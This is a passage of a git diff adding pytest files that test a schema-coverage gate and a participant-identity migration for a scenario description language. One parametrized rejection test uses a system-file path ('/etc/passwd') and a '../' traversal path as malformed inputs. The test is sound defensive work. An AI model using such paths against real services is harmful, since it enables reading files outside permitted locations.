entry[COVERAGE_KEY]["sources"].append(second) + _write_json(entry_path, entry) + + assert evaluate_schema_coverage(tmp_path) == [] + + +def test_several_schemas_may_share_one_carrier(tmp_path: Path) -> None: + _write_json( + tmp_path / "contracts/profiles/shared.json", + {"status": {"schema_version": "operation-status-v1"}, "receipt": {"schema_version": "operation-receipt-v1"}}, + ) + for contract_id, pointer in (("operation-receipt-v1", "/receipt"), ("operation-status-v1", "/status")): + _publish( + tmp_path, + contract_id, + "control-plane", + coverage=_declaration( + { + "kind": "embedded", + "path": "contracts/profiles/shared.json", + "pointer": pointer, + "supports": "A published payload carried by the shared artifact, at the publication phase.", + } + ), + ) + + assert evaluate_schema_coverage(tmp_path) == [] + + +def test_checked_in_declaration_is_falsifiable_against_its_real_carrier() -> None: + """The live declaration must fail if its carrier annotation is broken. + + A declaration nothing can falsify is decoration. This drives the checked-in + association through the gate with the real carrier mutated. + """ + + from tools.schema_coverage._evidence import check_embedded_source + + carrier = "contracts/schemas/experiment-core/experiment-run-v1.json" + schema = "contracts/schemas/profiles/raes-semantic-invariants-v1.json" + pointer = "/x-raes-invariants/0" + definition = "#/$defs/RaesSemanticInvariantEntryModel" + + assert check_embedded_source(REPO_ROOT, carrier, schema, pointer, definition) is None + assert check_embedded_source(REPO_ROOT, carrier, schema, "/x-raes-invariants/99999", definition) is not None + assert check_embedded_source(REPO_ROOT, carrier, schema, pointer, "#/$defs/DoesNotExist") is not None + + +# --- declaration hygiene ----------------------------------------------------- + + +@pytest.mark.parametrize( + "coverage", + [ + pytest.param({"sources": [_source("fixture", "contracts/profiles/a.json")]}, id="missing-rationale"), + pytest.param(_declaration(rationale="too short"), id="short-rationale"), + pytest.param({**_declaration(_source("fixture", "contracts/profiles/a.json")), "extra": 1}, id="unknown-key"), + pytest.param(_declaration(), id="empty-sources"), + pytest.param(_declaration({"kind": "fixture", "path": "contracts/profiles/a.json"}), id="missing-supports"), + pytest.param(_declaration(_source("fixture", "contracts/profiles/a.json", "tiny")), id="short-supports"), + pytest.param(_declaration(_source("proof", "contracts/profiles/a.json")), id="unknown-kind"), + pytest.param(_declaration(_source("fixture", "../outside.json")), id="escaping-path"), + pytest.param(_declaration(_source("fixture", "/etc/passwd")), id="absolute-path"), + pytest.param(_declaration(_source("fixture", "contracts/profiles/missing.json")), id="missing-file"), + pytest.param(_declaration(_source("fixture", "tools/check_repo_policy.py")), id="fixture-outside-contracts"), + pytest.param(_declaration(_source("embedded", "contracts/profiles/a.json")), id="embedded-without-pointer"), + pytest.param( + _declaration( + _source("fixture", "contracts/profiles/a.json"), + _source("fixture", "contracts/profiles/a.json"), + ), + id="duplicate-sources", + ), + pytest.param( + _declaration( + *[_source("fixture", f"contracts/profiles/a{index}.json") for index in range(MAX_SOURCES + 1)] + ), + id="oversized-source-list", + ), + pytest.param([], id="not-an-object"), + ], +) +def test_malformed_declarations_are_reported_and_never_count(tmp_path: Path, coverage: Any) -> None: + _write_json(tmp_path / "contracts/profiles/a.json", {"schema_version": "operation-status-v1"}) + schema_path = _publish(tmp_path, "operation-status-v1", "control-plane", coverage=coverage) + + failures = evaluate_schema_coverage(tmp_path) + + assert _paths_for(failures, DECLARATION_RULE_ID) == {schema_path} + assert _paths_for(failures, MISSING_RULE_ID) == {schema_path} + + +def test_symlinked_declaration_source_is_rejected(tmp_path: Path) -> None: + _write_json(tmp_path / "contracts/profiles/real.json", {"schema_version": "operation-status-v1"}) + link = tmp_path / "contracts/profiles/link.json" + link.symlink_to(tmp_path / "contracts/profiles/real.json") + schema_path = _publish( + tmp_path, + "operation-status-v1", + "control-plane", + coverage=_declaration(_source("fixture", "contracts/profiles/link.json")), + ) + + failures = evaluate_schema_coverage(tmp_path) + + assert _paths_for(failures, DECLARATION_RULE_ID) == {schema_path} + assert _paths_for(failures, MISSING_RULE_ID) == {schema_path} + + +def test_a_stale_reference_does_not_ride_on_a_resolving_sibling(tmp_path: Path) -> None: + _write_json(tmp_path / "contracts/profiles/a.json", {"schema_version": "operation-status-v1"}) + schema_path = _publish( + tmp_path, + "operation-status-v1", + "control-plane", + coverage=_declaration( + _source("fixture", "contracts/profiles/missing.json"), + _source("fixture", "contracts/profiles/a.json"), + ), + ) + + failures = evaluate_schema_coverage(tmp_path) + + assert _paths_for(failures, DECLARATION_RULE_ID) == {schema_path} + assert _paths_for(failures, MISSING_RULE_ID) == {schema_path} + + +# --- denominator ------------------------------------------------------------- + + +def test_legacy_v1_manifest_storage_reads_the_same_declaration(tmp_path: Path) -> None: + _write_json(tmp_path / "contracts/profiles/a.json", {"schema_version": "operation-status-v1"}) + _publish( + tmp_path, + "operation-status-v1", + "control-plane", + coverage=_declaration(_source("fixture", "contracts/profiles/a.json")), + sharded=False, + ) + + assert evaluate_schema_coverage(tmp_path) == [] + + +def test_tombstoned_schema_is_outside_the_denominator(tmp_path: Path) -> None: + _publish(tmp_path, "operation-status-v1", "control-plane") + _corpus_fixture(tmp_path, "operation-status-v1", "control-plane") + _tombstone(tmp_path, "contracts/schemas/control-plane/retired-v1.json") + + assert evaluate_schema_coverage(tmp_path) == [] + + +def test_unreadable_catalog_fails_closed(tmp_path: Path) -> None: + _write(tmp_path / "contracts/schema-publication-manifest.json", "{ not json\n") + + failures = evaluate_schema_coverage(tmp_path) + + assert failures + assert MISSING_RULE_ID not in _rule_ids(failures) + + +# --- reporting and CLI ------------------------------------------------------- + + +def test_report_names_each_schema_and_its_covering_leg(tmp_path: Path) -> None: + covered = _publish(tmp_path, "operation-status-v1", "control-plane") + _corpus_fixture(tmp_path, "operation-status-v1", "control-plane") + uncovered = _publish(tmp_path, "operation-receipt-v1", "control-plane") + + report = build_coverage_report(tmp_path) + + assert covered in report + assert uncovered in report + assert "corpus" in report + assert "uncovered" in report + + +def test_cli_emits_json_failures_and_exits_non_zero(tmp_path: Path, capsys: pytest.CaptureFixture[str]) -> None: + schema_path = _publish(tmp_path, "operation-status-v1", "control-plane") + + exit_code = main(["--repo-root", str(tmp_path), "--json"]) + + assert exit_code == 1 + payload = json.loads(capsys.readouterr().out) + assert {item["path"] for item in payload if item["rule_id"] == MISSING_RULE_ID} == {schema_path} + + +def test_cli_report_mode_never_gates(tmp_path: Path, capsys: pytest.CaptureFixture[str]) -> None: + _publish(tmp_path, "operation-status-v1", "control-plane") + + assert main(["--repo-root", str(tmp_path), "--report"]) == 0 + assert "operation-status-v1" in capsys.readouterr().out + + +# --- the live tree ----------------------------------------------------------- + + +def test_checked_in_repository_has_full_published_schema_coverage() -> None: + assert evaluate_schema_coverage(REPO_ROOT) == [] + + +# --- the corpora backfilled for the contracts that had none ----------------- +# +# The gate reports a contract with no evidence; the repair is a real document, +# not a placeholder. These cases keep the backfilled corpora executable: every +# positive document validates against the checked-in published schema *and* its +# reference model, and every negative document is rejected by a named layer. +# A corpus nothing exercises would be exactly the vacuous coverage the gate +# exists to reject. + +_BACKFILLED_CORPORA = { + "participant-execution-binding-v1": ( + "participant-runtime", + ParticipantExecutionBindingModel, + ), + "participant-execution-control-v1": ( + "participant-runtime", + ParticipantExecutionControlRequestModel, + ), + "participant-execution-service-state-v1": ( + "participant-runtime", + ParticipantExecutionServiceStateModel, + ), + "workflow-cancellation-request-v1": ("control-plane", WorkflowCancellationRequestModel), + "scenario-instantiation-request-v1": ("sdl", InstantiationRequestModel), + "semantic-projection-report-v1": ("concept-authority", SemanticProjectionReportModel), + "sdl-candidate-synthesis-record-v1": ("candidate-synthesis", CandidateSynthesisRecordModel), + "backend-realization-preparation-v1": ("plans", BackendPreparationResponseModel), + "plan-realization-profiles-v1": ("plans", PlanProfileAuthority), +} + +# Contracts whose repair is a positive document only: no negative case belongs +# to this issue because the contract already has one, or because its rejection +# layer is a runtime exchange rather than a standalone document. +_POSITIVE_ONLY = frozenset({"sdl-candidate-synthesis-record-v1"}) + + +def _corpus_case_paths(contract_id: str, family: str, bucket: str) -> list[Path]: + return sorted((REPO_ROOT / "contracts/fixtures" / family / contract_id / bucket).glob("*.json")) + + +def _published_validator(contract_id: str, family: str) -> Draft202012Validator: + schema = json.loads((REPO_ROOT / "contracts/schemas" / family / f"{contract_id}.json").read_text(encoding="utf-8")) + return Draft202012Validator(schema) + + +@pytest.mark.parametrize("contract_id", sorted(_BACKFILLED_CORPORA)) +def test_backfilled_corpus_carries_positive_and_negative_cases(contract_id: str) -> None: + family, _ = _BACKFILLED_CORPORA[contract_id] + + assert _corpus_case_paths(contract_id, family, "valid"), contract_id + if contract_id not in _POSITIVE_ONLY: + assert _corpus_case_paths(contract_id, family, "invalid"), contract_id + + +@pytest.mark.parametrize("contract_id", sorted(_BACKFILLED_CORPORA)) +def test_backfilled_positive_cases_satisfy_the_published_schema_and_model(contract_id: str) -> None: + family, model = _BACKFILLED_CORPORA[contract_id] + validator = _published_validator(contract_id, family) + + for path in _corpus_case_paths(contract_id, family, "valid"): + payload = json.loads(path.read_text(encoding="utf-8")) + assert not list(validator.iter_errors(payload)), f"{path.name} violates the published schema" + model.model_validate(payload) + + +@pytest.mark.parametrize("contract_id", sorted(_BACKFILLED_CORPORA)) +def test_backfilled_negative_cases_are_rejected_by_a_named_layer(contract_id: str) -> None: + family, model = _BACKFILLED_CORPORA[contract_id] + validator = _published_validator(contract_id, family) + + for path in _corpus_case_paths(contract_id, family, "invalid"): + payload = json.loads(path.read_text(encoding="utf-8")) + rejected_by_schema = bool(list(validator.iter_errors(payload))) + try: + model.model_validate(payload) + rejected_by_model = False + except ValueError: + rejected_by_model = True + assert rejected_by_schema or rejected_by_model, f"{path.name} is not rejected by schema or model" diff --git a/implementations/python/tests/test_issue_1338_identity_authority.py b/implementations/python/tests/test_issue_1338_identity_authority.py new file mode 100644 index 000000000..e724d98b6 --- /dev/null +++ b/implementations/python/tests/test_issue_1338_identity_authority.py @@ -0,0 +1,78 @@ +"""Ownership and affiliation never widen autonomous evaluation authority.""" + +from __future__ import annotations + +from copy import deepcopy + +import pytest +import yaml +from raes import SDLValidationError +from test_dsl_437_benign_participant_execution import _scenario_yaml +from test_issue_1338_participant_identity import _parse, _payload + + +def _autonomous_payload(): + payload = yaml.safe_load(_scenario_yaml()) + for agent in payload["agents"].values(): + if "entity" in agent: + agent["affiliations"] = [agent.pop("entity")] + participant = next(iter(payload["agents"])) + minimal = _payload() + payload["propositions"]["ready"] = minimal["propositions"]["ready"] + payload["propositions"]["ready"]["subjects"] = [f"agents.{participant}"] + payload["assertions"]["done"] = minimal["assertions"]["done"] + payload["objectives"] = {"goal": {"owner": "enterprise-participant", "success": {"assertions": ["done"]}}} + return payload, participant + + +def test_owner_affiliation_does_not_assign_non_evaluated_participant(): + payload, participant = _autonomous_payload() + _parse(payload) + payload["objectives"]["goal"]["assigned_participant"] = participant + with pytest.raises(SDLValidationError, match="non-evaluated.*objective"): + _parse(payload) + + +@pytest.mark.parametrize("assignment", [None, "other", "selected"]) +def test_declared_objective_authority_requires_assignment_to_selected_participant(assignment): + payload, participant = _autonomous_payload() + payload["agents"]["other"] = {"affiliations": ["enterprise-participant"], "role": "blue"} + if assignment: + payload["objectives"]["goal"]["assigned_participant"] = participant if assignment == "selected" else "other" + policy = payload["behavior_specifications"]["participant-behavior"]["autonomous_execution"] + policy["evaluation_authority"] = {"mode": "declared", "objective_refs": ["goal"]} + if assignment == "selected": + _parse(payload) + else: + with pytest.raises(SDLValidationError, match="objective.*assigned"): + _parse(payload) + + +def test_explicit_role_controls_autonomous_role_check(): + payload, participant = _autonomous_payload() + payload["agents"][participant]["role"] = "red" + with pytest.raises(SDLValidationError, match="must have the green role"): + _parse(payload) + + +@pytest.mark.parametrize("selection", ["explicit", "role", "mixed"]) +def test_autonomous_ownership_conflicts_include_role_selected_participants(selection): + payload, participant = _autonomous_payload() + payload["agents"]["peer"] = deepcopy(payload["agents"][participant]) + specs = payload["behavior_specifications"] + first = specs["participant-behavior"] + second = specs["peer-behavior"] = deepcopy(first) + first["participant_refs"] = [participant] + first["participant_role_refs"] = [] + second["participant_refs"] = ["peer"] + second["participant_role_refs"] = [] + _parse(payload) # Independent explicit owners are valid. + if selection == "explicit": + second["participant_refs"].append(participant) + elif selection == "role": + first["participant_role_refs"] = ["green"] + second["participant_role_refs"] = ["green"] + else: + second["participant_role_refs"] = ["green"] + with pytest.raises(SDLValidationError, match="already controlled by behavior specification"): + _parse(payload) diff --git a/implementations/python/tests/test_issue_1338_identity_evidence.py b/implementations/python/tests/test_issue_1338_identity_evidence.py new file mode 100644 index 000000000..3fd0ac21e --- /dev/null +++ b/implementations/python/tests/test_issue_1338_identity_evidence.py @@ -0,0 +1,57 @@ +"""Participant relation changes preserve decision and historical evidence authority.""" + +import hashlib +import json +from copy import deepcopy +from pathlib import Path + +import pytest +import yaml +from raes import parse_sdl_file +from tools.check_adr_immutability import amendment_refs, canonical_content +from tools.formal_semantic_validation._releases import _retained_historical_cases + +ROOT = Path(__file__).resolve().parents[3] +CORPUS = "docs/research/formal-semantic-validation/corpus" + + +@pytest.mark.parametrize("number", ["002", "020", "109"]) +def test_relation_decisions_are_accepted_and_recorded(number): + index = yaml.safe_load((ROOT / "docs/decisions/adrs/adr-index.yaml").read_text()) + record = next(entry for entry in index["adrs"] if entry["id"] == f"ADR-{number}") + source = (ROOT / record["path"]).read_text() + assert "## Status\n\naccepted\n" in source + assert record["pin"] == hashlib.sha256(canonical_content(source).encode()).hexdigest() + if number != "109": + assert "#1338" in amendment_refs(source) + assert "#1338" in {entry["ref"] for entry in record["amendments"]} + + +@pytest.mark.parametrize("name", ["semantic-valid", "semantic-invalid-dangling-ref"]) +def test_historical_fixture_bytes_are_preserved_with_explicit_successors(name): + historical = ROOT / CORPUS / f"{name}.sdl.yaml" + release = json.loads((ROOT / "docs/research/formal-semantic-validation/bundles/retest-v39.json").read_text()) + pin = next(item for item in release["artifacts"] if item["path"] == historical.relative_to(ROOT).as_posix()) + assert hashlib.sha256(historical.read_bytes()).hexdigest() == pin["sha256"] + successor = ROOT / CORPUS / f"{name}-participant-identity-v2.sdl.yaml" + payload = yaml.safe_load(successor.read_text()) + assert payload["objectives"]["goal"]["owner"] == "blue" + assert "entity" not in payload["objectives"]["goal"] + if name == "semantic-valid": + assert payload["propositions"]["ready"]["predicate"]["semantic_ref"] == "urn:raes:declared-property:ready" + assert parse_sdl_file(successor).objectives["goal"].assigned_participant is None + + +def test_corpus_migration_allows_only_named_successors_without_changing_case_meaning(): + path = f"{CORPUS}/manifest-v4.json" + corpus = json.loads((ROOT / path).read_text()) + cases = {item["case_id"]: item for item in corpus["cases"]} + failures = [] + _retained_historical_cases(ROOT, cases, failures, path, corpus["revision"]) + assert failures == [] + for field, value in (("fixture_path", f"{CORPUS}/schema-valid.sdl.yaml"), ("expected_outcome", "rejected")): + changed = deepcopy(cases) + changed["semantic-resolved-objective"][field] = value + failures = [] + _retained_historical_cases(ROOT, changed, failures, path, corpus["revision"]) + assert {failure.rule_id for failure in failures} == {"formal-validation-historical-retention"} diff --git a/implementations/python/tests/test_issue_1338_identity_examples.py b/implementations/python/tests/test_issue_1338_identity_examples.py new file mode 100644 index 000000000..350d27ec2 --- /dev/null +++ b/implementations/python/tests/test_issue_1338_identity_examples.py @@ -0,0 +1,25 @@ +"""Published scenarios retain declared intent through the identity migration.""" + +from pathlib import Path + +import pytest +from raes import parse_sdl_file +from raes_processor.compiler import compile_scenario_runtime_model + +ROOT = Path(__file__).resolve().parents[3] + + +@pytest.mark.parametrize( + "name", ["hospital-ransomware-surgery-day", "port-authority-surge-response", "satcom-release-poisoning"] +) +def test_published_objective_actions_have_portable_abstract_contracts(name): + scenario = parse_sdl_file(ROOT / "examples/scenarios" / f"{name}.sdl.yaml") + compiled = compile_scenario_runtime_model(scenario) + assert len(compiled.objectives) == len(scenario.objectives) + for objective in scenario.objectives.values(): + assert set(objective.actions) <= set(scenario.action_contracts) + if objective.assigned_participant: + assert set(objective.actions) <= set(scenario.agents[objective.assigned_participant].actions) + for contract in scenario.action_contracts.values(): + assert contract.realization_profile == "abstract" + assert "no backend procedure" in contract.fidelity_claim diff --git a/implementations/python/tests/test_issue_1338_identity_migration.py b/implementations/python/tests/test_issue_1338_identity_migration.py new file mode 100644 index 000000000..cf9c2cbd1 --- /dev/null +++ b/implementations/python/tests/test_issue_1338_identity_migration.py @@ -0,0 +1,161 @@ +"""Legacy participant migration requires source-bound organizational intent.""" + +from __future__ import annotations + +import pytest +import yaml +from raes import parse_sdl +from raes.semantic_revisions import source_byte_digest +from raes_processor.compiler import compile_scenario_runtime_model +from test_issue_1338_participant_identity import _payload + + +def _legacy(*, organizational=True): + payload = _payload() + for agent in payload["agents"].values(): + agent["entity"] = agent.pop("affiliations")[0] + objective = payload["objectives"]["goal"] + objective.pop("owner") + objective["entity" if organizational else "agent"] = "team" if organizational else "one" + return payload + + +def _migrate(payload, *, decisions=None, digest=None): + from raes.participant_migration import ParticipantIdentityMigrationContext, migrate_participant_identity + + source = yaml.safe_dump(payload) + context = ( + None + if decisions is None + else ParticipantIdentityMigrationContext( + source_digest=digest or source_byte_digest(source), entity_objectives=decisions + ) + ) + return migrate_participant_identity(source, context=context) + + +def test_deterministic_legacy_assignment_and_affiliation_preserve_identity(): + payload = _legacy(organizational=False) + result = _migrate(payload) + assert result.succeeded + assert result.output.agents["one"].affiliations == ["team"] + assert result.output.objectives["goal"].assigned_participant == "one" + assert result.output.objectives["goal"].owner is None + assert payload["agents"]["one"]["entity"] == "team" + assert result.report == _migrate(payload).report + model = compile_scenario_runtime_model(result.output) + assert model.participant_behaviors["participant.behavior.one"].role == "red" + + +@pytest.mark.parametrize("assignment", [None, "one"]) +def test_organizational_intent_is_an_explicit_source_bound_decision(assignment): + result = _migrate(_legacy(), decisions={"/objectives/goal": assignment}) + assert result.succeeded + assert result.output.objectives["goal"].owner == "team" + assert result.output.objectives["goal"].assigned_participant == assignment + assert result.report.source_digest.startswith("sha256:") + assert result.report.target_digest.startswith("sha256:") + + +@pytest.mark.parametrize( + ("decisions", "digest", "code"), + [ + (None, None, "decision-required"), + ({}, None, "decision-required"), + ({"/objectives/goal": None}, "sha256:" + "0" * 64, "source-mismatch"), + ({"/objectives/goal": None, "/objectives/extra": None}, None, "decision-mismatch"), + ], +) +def test_migration_refuses_absent_stale_or_extra_decisions_atomically(decisions, digest, code): + result = _migrate(_legacy(), decisions=decisions, digest=digest) + assert not result.succeeded + assert result.output is None + assert result.report.target_digest is None + assert result.report.diagnostics[0].code == f"participant-migration.{code}" + + +@pytest.mark.parametrize("change", ["conflict", "unknown", "action", "assignment", "both-legacy", "import"]) +def test_migration_never_guesses_or_drops_invalid_source(change): + payload = _legacy() + if change == "conflict": + payload["agents"]["one"]["affiliations"] = ["team"] + elif change == "unknown": + payload["agents"]["one"]["hidden_field"] = "private-value-do-not-echo" + elif change == "action": + payload["objectives"]["goal"]["actions"] = ["private-value-do-not-echo"] + elif change == "assignment": + payload["objectives"]["goal"]["actions"] = ["observe"] + elif change == "both-legacy": + payload["objectives"]["goal"]["agent"] = "one" + else: + payload["imports"] = [{"path": "external.yaml", "namespace": "other"}] + result = _migrate(payload, decisions={"/objectives/goal": "two" if change == "assignment" else None}) + assert result.output is None + assert not result.succeeded + assert "private-value-do-not-echo" not in result.report.model_dump_json() + + +def test_current_artifact_migration_is_idempotent(): + payload = _payload() + result = _migrate(payload) + assert result.succeeded + assert result.output == parse_sdl(yaml.safe_dump(payload)) + second = _migrate(result.output.model_dump(mode="json", exclude_unset=True)) + assert second.succeeded + assert second.report.target_digest == result.report.target_digest + + +def test_non_string_legacy_identifier_refuses_without_crashing(): + payload = _legacy() + payload["objectives"][7] = payload["objectives"].pop("goal") + result = _migrate(payload) + assert not result.succeeded + assert result.output is None + + +def test_unresolved_legacy_affiliation_requires_an_author_decision_before_migration(): + payload = _legacy(organizational=False) + payload["variables"] = {"team": {"type": "string", "default": "team"}} + payload["agents"]["one"]["entity"] = "${team}" + result = _migrate(payload) + assert not result.succeeded + assert result.output is None + assert result.report.diagnostics[0].code == "participant-migration.unresolved-reference" + + +def test_aliased_objectives_keep_independent_author_decisions(): + payload = _legacy() + payload["objectives"]["second"] = payload["objectives"]["goal"] + result = _migrate(payload, decisions={"/objectives/goal": "one", "/objectives/second": "two"}) + assert result.succeeded + assert result.output.objectives["goal"].assigned_participant == "one" + assert result.output.objectives["second"].assigned_participant == "two" + + +@pytest.mark.parametrize("section", ["agents", "objectives", "variation_points"]) +def test_invalid_relation_sections_refuse_before_decision_resolution(section): + payload = _legacy() + payload[section] = [] + result = _migrate(payload) + assert result.output is None + assert result.report.diagnostics[0].code == "participant-migration.source-invalid" + + +@pytest.mark.parametrize( + ("payload", "code"), + [([], "source-invalid"), ({"materialization_provenance": {}}, "source-unsupported")], +) +def test_unsupported_source_shapes_refuse_atomically(payload, code): + result = _migrate(payload) + assert result.output is None + assert result.report.target_digest is None + assert result.report.diagnostics[0].code == f"participant-migration.{code}" + + +def test_missing_decision_diagnostic_uses_first_sorted_declaration_pointer(): + payload = _legacy() + payload["objectives"]["earlier"] = dict(payload["objectives"]["goal"]) + result = _migrate(payload) + assert result.output is None + assert result.report.diagnostics[0].code == "participant-migration.decision-required" + assert result.report.diagnostics[0].address == "/objectives/earlier" diff --git a/implementations/python/tests/test_issue_1338_identity_stages.py b/implementations/python/tests/test_issue_1338_identity_stages.py new file mode 100644 index 000000000..35d97002a --- /dev/null +++ b/implementations/python/tests/test_issue_1338_identity_stages.py @@ -0,0 +1,125 @@ +"""Participant relations retain their meaning through imports and author tools.""" + +from __future__ import annotations + +from pathlib import Path + +import pytest +import yaml +from raes import SDLInstantiationError, SDLValidationError, instantiate_scenario, parse_sdl_file +from raes.language_service import language_completions, language_references +from raes_processor.compiler import compile_scenario_runtime_model +from test_issue_1338_participant_identity import _parse, _payload + + +def test_inspection_labels_owner_and_assignment_without_actor_inference(): + from raes_mcp.tools.inspection._references import _build_reference_map + from raes_mcp.tools.inspection._summary import _build_summary + from test_issue_1338_participant_identity import _parse, _payload + + payload = _payload() + payload["objectives"]["goal"]["assigned_participant"] = "one" + payload["objectives"]["goal"]["actions"] = ["observe"] + scenario = _parse(payload) + text = _build_summary(scenario) + assert "owner=team" in text + assert "assigned_participant=one" in text + assert "actor=" not in text + refs = _build_reference_map(scenario) + assert set(refs[("agents", "one")]) == {"team"} + assert {"team", "one", "observe"} <= set(refs[("objectives", "goal")]) + + +def test_imports_preserve_identity_affiliation_assignment_and_action_constraints(tmp_path: Path) -> None: + payload = _payload() + payload["objectives"]["goal"].update(assigned_participant="one", actions=["observe"]) + payload["module"] = { + "id": "example/identity", + "version": "1.0.0", + "exports": {key: list(value) for key, value in payload.items() if isinstance(value, dict)}, + } + (tmp_path / "module.yaml").write_text(yaml.safe_dump(payload)) + (tmp_path / "root.yaml").write_text( + yaml.safe_dump( + { + "name": "two-copies", + "imports": [{"path": "module.yaml", "namespace": name} for name in ("first", "second")], + } + ) + ) + model = compile_scenario_runtime_model(parse_sdl_file(tmp_path / "root.yaml")) + for namespace in ("first", "second"): + objective = model.objectives[f"evaluation.objective.{namespace}.goal"] + assert objective.owner_name == f"{namespace}.team" + assert objective.assigned_participant_address == f"participant.behavior.{namespace}.one" + assert objective.spec["actions"] == [f"{namespace}.observe"] + participant = model.participant_behaviors[f"participant.behavior.{namespace}.one"] + assert participant.affiliation_names == (f"{namespace}.team",) + assert participant.role == "red" + + +def test_parameterized_roles_and_assignments_are_revalidated() -> None: + payload = _payload() + payload["variables"] = { + "team": {"type": "string", "default": "team"}, + "role": {"type": "string", "default": "blue"}, + "assignee": {"type": "string", "default": "one"}, + } + payload["agents"]["one"].update(affiliations=["${team}"], role="${role}") + payload["objectives"]["goal"].update(assigned_participant="${assignee}", actions=["observe"]) + authored = _parse(payload) + model = compile_scenario_runtime_model(authored) + assert model.participant_behaviors["participant.behavior.one"].role == "blue" + for parameters in ({"team": "missing"}, {"role": "operator"}, {"assignee": "two"}): + with pytest.raises(SDLInstantiationError): + instantiate_scenario(authored, parameters=parameters) + + +@pytest.mark.parametrize(("field", "symbol"), [("owner", "entities.team"), ("assigned_participant", "agents.one")]) +def test_editor_relations_use_their_own_reference_sections(field, symbol) -> None: + payload = _payload() + payload["objectives"]["goal"]["assigned_participant"] = "one" + text = yaml.safe_dump(payload) + result = language_completions(text, cursor_path=f"/objectives/goal/{field}") + details = {item["detail"] for item in result["items"]} + assert symbol in details + assert ("agents.one" if field == "owner" else "entities.team") not in details + references = language_references(text, symbol=symbol) + assert any(item["path"] == f"/objectives/goal/{field}" for item in references["occurrences"]) + + +def test_affiliation_editor_navigation_is_not_participant_identity() -> None: + text = yaml.safe_dump(_payload()) + references = language_references(text, symbol="entities.team") + assert any(item["path"] == "/agents/one/affiliations/0" for item in references["occurrences"]) + + +def test_entity_does_not_gain_participant_relationship_semantics() -> None: + payload = _payload() + payload["relationships"] = { + "pair": { + "type": "participant", + "source": "entities.team", + "target": "one", + "participant": {"kind": "cooperation"}, + } + } + with pytest.raises(SDLValidationError, match="participant endpoint"): + _parse(payload) + + +@pytest.mark.parametrize(("slot", "candidate"), [("owner", "team"), ("assigned_participant", "one")]) +def test_variation_slots_use_distinct_owner_and_assignment_kinds(slot, candidate): + payload = _payload() + payload["variation_points"] = { + "relation": { + "kind": "governed-reference", + "target": {"kind": "reference", "owner": "goal", "slot": f"objectives.{slot}"}, + "domain": {"kind": "governed-reference", "authority": "inventory-v1", "allowed_refs": [candidate]}, + } + } + scenario = _parse(payload) + assert scenario.variation_points["relation"].target.slot.value == f"objectives.{slot}" + payload["variation_points"]["relation"]["domain"]["allowed_refs"] = ["one" if slot == "owner" else "team"] + with pytest.raises(SDLValidationError): + _parse(payload) diff --git a/implementations/python/tests/test_issue_1338_participant_identity.py b/implementations/python/tests/test_issue_1338_participant_identity.py new file mode 100644 index 000000000..d97c8ae82 --- /dev/null +++ b/implementations/python/tests/test_issue_1338_participant_identity.py @@ -0,0 +1,249 @@ +"""Identity, affiliation and objective assignment agree across SDL stages.""" + +from __future__ import annotations + +import pytest +import yaml +from raes import SDLParseError, SDLValidationError, parse_sdl +from raes_processor.compiler import compile_scenario_runtime_model + + +def _parse(payload: dict): + return parse_sdl(yaml.safe_dump(payload)) + + +def _action() -> dict: + return { + "semantic_version": "1.0.0", + "behavioral_granularity": "atomic", + "procedure_basis": "abstract transition", + "realization_profile": "abstract", + "fidelity_claim": "declared transition only", + "preconditions": [ + {"precondition_id": "authorized", "precondition_class": "authority", "description": "explicit grant"} + ], + "effects": [{"effect_id": "unchanged", "effect_class": "no_effect", "description": "no state change"}], + "failure_classes": ["authority_denied", "unknown"], + } + + +def _payload() -> dict: + return { + "name": "identity-assignment", + "entities": {"team": {"role": "red"}}, + "agents": { + "one": {"affiliations": ["team"], "actions": ["observe"]}, + "two": {"affiliations": ["team"]}, + }, + "action_contracts": {"observe": _action()}, + "propositions": { + "ready": { + "description": "The authored subject is ready.", + "subjects": ["agents.one"], + "basis": "declared_state", + "predicate": { + "kind": "boolean", + "property": "ready", + "semantic_ref": "urn:raes:declared-property:ready", + "operator": "equals", + "expected": True, + }, + } + }, + "assertions": {"done": {"proposition": "ready", "role": "postcondition"}}, + "objectives": {"goal": {"owner": "team", "success": {"assertions": ["done"]}}}, + } + + +def test_composite_identity_needs_no_affiliation_or_components() -> None: + model = compile_scenario_runtime_model(_parse({"name": "composite", "agents": {"harness": {}}})) + assert set(model.participant_behaviors) == {"participant.behavior.harness"} + participant = model.participant_behaviors["participant.behavior.harness"] + assert participant.participant_name == "harness" + assert participant.affiliation_names == () + assert participant.role == "" + assert not model.entity_specs + assert not model.node_deployments + + +def test_affiliations_are_normalized_separately_from_objective_relations(): + from raes.semantics.participant_behavior import analyze_participant_affiliations + + scenario = _parse(_payload()) + analysis = analyze_participant_affiliations( + agents_by_name=scenario.agents, entity_names=set(scenario.entities), is_unresolved=lambda _: False + ) + assert not analysis.issues + assert [(ref.participant_name, ref.reference_kind, ref.canonical_name) for ref in analysis.references] == [ + ("one", "affiliation", "team"), + ("two", "affiliation", "team"), + ] + + +def test_realized_actor_record_does_not_rewrite_authored_assignment(): + from raes_contracts.contracts.participant_runtime import ParticipantBehaviorHistoryEventModel + + payload = _payload() + payload["objectives"]["goal"]["assigned_participant"] = "one" + scenario = _parse(payload) + before = scenario.model_dump(mode="json") + runtime = compile_scenario_runtime_model(scenario) + event = ParticipantBehaviorHistoryEventModel( + event_type="action_attempted", + timestamp="2026-09-21T12:00:00Z", + participant_address="participant.behavior.two", + episode_id="second-episode", + action_instance_id="observed-action", + actor_provenance="participant.behavior.two", + ) + assert event.participant_address != runtime.objectives["evaluation.objective.goal"].assigned_participant_address + assert event.actor_provenance == "participant.behavior.two" + assert scenario.model_dump(mode="json") == before + assert "owner_name" not in type(event).model_fields + + +@pytest.mark.parametrize( + "relations,valid", + [ + ({}, False), + ({"owner": None}, False), + ({"owner": "team"}, True), + ({"assigned_participant": "one"}, True), + ({"owner": "team", "assigned_participant": "one"}, True), + ({"agent": "one"}, False), + ], +) +def test_objective_schema_and_model_share_relation_shape(relations, valid): + from jsonschema import Draft202012Validator + from raes.objectives import Objective + + validator = Draft202012Validator(Objective.model_json_schema()) + payload = {**relations, "success": {"assertions": ["done"]}} + assert validator.is_valid(payload) is valid + + +def test_shared_affiliation_does_not_merge_identity_or_assign_objectives() -> None: + payload = _payload() + payload["objectives"]["goal"]["assigned_participant"] = "one" + payload["objectives"]["goal"]["actions"] = ["observe"] + model = compile_scenario_runtime_model(_parse(payload)) + assert set(model.participant_behaviors) == {"participant.behavior.one", "participant.behavior.two"} + objective = model.objectives["evaluation.objective.goal"] + assert objective.owner_name == "team" + assert objective.assigned_participant_name == "one" + assert objective.assigned_participant_address == "participant.behavior.one" + assert not 